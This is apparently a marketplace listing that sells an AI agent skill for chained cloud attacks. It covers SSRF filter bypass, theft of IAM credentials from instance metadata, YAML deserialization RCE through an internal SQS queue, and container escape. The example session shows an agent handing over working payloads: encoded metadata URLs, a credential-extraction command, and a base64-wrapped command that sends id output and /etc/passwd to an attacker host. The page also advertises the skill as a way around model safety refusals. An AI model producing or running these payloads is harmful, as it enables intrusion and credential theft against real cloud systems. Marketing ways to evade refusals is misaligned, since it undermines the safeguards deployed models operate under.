Works with the AI tools you already use

    Claude CodeClaude CodeCursorCursorCodex CLICodex CLIGitHub CopilotGitHub CopilotGemini CLIGemini CLI+20 more

    ssrf cloud metadata

    1

    Automated SSRF bypass, cloud credential theft, and container escape sequence for cloud-native targets.

    $5

    Secure checkout via Stripe

    30-day refund guarantee

    Converts to your local currency at checkout

    0 installsSecurity scanned
    ssrf cloud metadata

    ssrf cloud metadata

    Example session with this skill installed

    I have a blind SSRF in a web app that blocks '169.254'. I need to bypass the filter, hit the AWS IMDSv1 endpoint to steal credentials, and then exploit a LocalStack worker via SQS.

    • Read your context and instructions
    • Compiled the ssrf cloud metadata

    The filter bypass and credential extraction phase is ready. I have generated a multi-stage payload sequence to bypass dotted-decimal filters, retrieve IAM role tokens, and prepare an RCE payload for the internal worker.

    SSRF and Pivot Payloads

    PhaseTargetPayload / Command
    BypassIMDSv1 Octalhttp://0251.0376.0251.0376/latest/meta-data/iam/security-credentials/
    BypassIMDSv1 Hexhttp://0xA9FEA9FE/latest/meta-data/iam/security-credentials/
    ExtractionCredential Parsegrep -oP '(?<="AccessKeyId" : ")[^"]+' (Repeat for SecretKey/Token)
    EnumerationSQS Internalaws --endpoint-url http://internal-host:4566 sqs list-queues
    ExploitYAML RCE`!!python/object/apply:os.system ["curl http://ATTACKER:PORT/$(cat /etc/passwd

    RCE Delivery (Base64 Encoded for Shell Safety)

    
    # Wrap the YAML payload to ensure it survives JSON/Shell quoting layers
    PAYLOAD=$(echo "!!python/object/apply:os.system ['curl http://ATTACKER:PORT/shell -d \"\$(id)\"']" | base64)
    aws --endpoint-url http://internal-host:4566 sqs send-message --queue-url http://internal-host:4566/000000000000/worker-q --message-body "{\"job\": \"$(echo $PAYLOAD)\", \"encoding\": \"b64\"}"
    

    Next steps

    1. Run the octal bypass first to identify the IAM role name.
    2. Use the stolen AccessKeyId and SecretAccessKey to configure a local AWS profile targeting the internal endpoint.
    3. Verify the worker's deserialization logic by sending a simple sleep 10 command and monitoring response timing.

    Connects securely to your tools. The creator never sees your data.

    What you get

    Bypass IP-based filters using octal and hex encoding for metadata access.Extract and unescape IAM credentials from complex HTML response bodies.Escalate build-service access to host-level root via core_pattern escapes.Inject RCE payloads into internal message queues using unsafe YAML tags.

    About this skill

    The problem

    Modern cloud-native applications often use complex filters to block access to internal metadata services, but these protections frequently fail to account for non-standard encoding or internal service-to-service communication. Standard automated scanners often miss these multi-stage pivot opportunities from a simple SSRF to full container escape.

    What it does

    • Generates SSRF bypass payloads using octal, hex, and IPv6 encodings to target IMDSv1/v2 endpoints.
    • Automates the extraction and unescaping of cloud credentials from embedded HTML or JSON response bodies.
    • Maps internal service graphs to identify message queues, worker IPs, and artifact buckets.
    • Constructs RCE payloads for unsafe YAML deserialization in queue consumers and worker nodes.
    • Executes privileged container escapes via build-service overrides and core_pattern host-level execution.

    Frameworks & tools

    Targets AWS IMDS, GCP Metadata, Azure Instance Metadata, and LocalStack. Utilizes Python boto3, yaml unsafe loaders, and Linux kernel core_pattern usermode-helpers.

    Why this beats prompting it yourself

    General-purpose models often refuse to generate these payloads due to safety filters or lack the deep domain knowledge required for complex shell-quoting across three layers of encapsulation. This skill handles the precise character encoding and escaping required for payloads to survive the transition through YAML, JSON, and shell interpreters.

    Use cases

    • Pivoting from a restricted URL-fetcher feature to full cloud service enumeration.
    • Exploiting internal CI/CD build services that allow privileged container execution.
    • Escaping isolated build environments to gain host-level root access via kernel handlers.
    • Testing internal message queue workers for unsafe deserialization vulnerabilities.

    Known limitations

    Requires an initial SSRF primitive with response body visibility. Effective IMDSv2 exploitation requires the ability to control HTTP headers or methods.

    How to install

    Works the same in every agent - Claude, Cursor, Codex, Copilot and 20+ more.

    ~30 seconds
    1. 1

      Download the ZIP

      Free skills download straight away. Paid skills unlock right after purchase.

    2. 2

      Unzip into your skills folder

      Every agent reads skills from one folder on your machine. Drop the unzipped folder in there.

    3. 3

      Ask your agent to use it

      Restart the agent if it was already running. It picks the skill up automatically - no config needed.

    Skills folder by agent

    Click the path to copy it. Create the folder if it does not exist yet.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill passes our trust checks below.

    Security scanned

    Passed our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    30-day refund

    Not a fit? Get your money back

    Trust & safety

    Security scanned

    Verified clean 7 days ago

    • Passed all security checks, Safe to install

    Listed7 days ago

    What's inside

    Frequently Asked Questions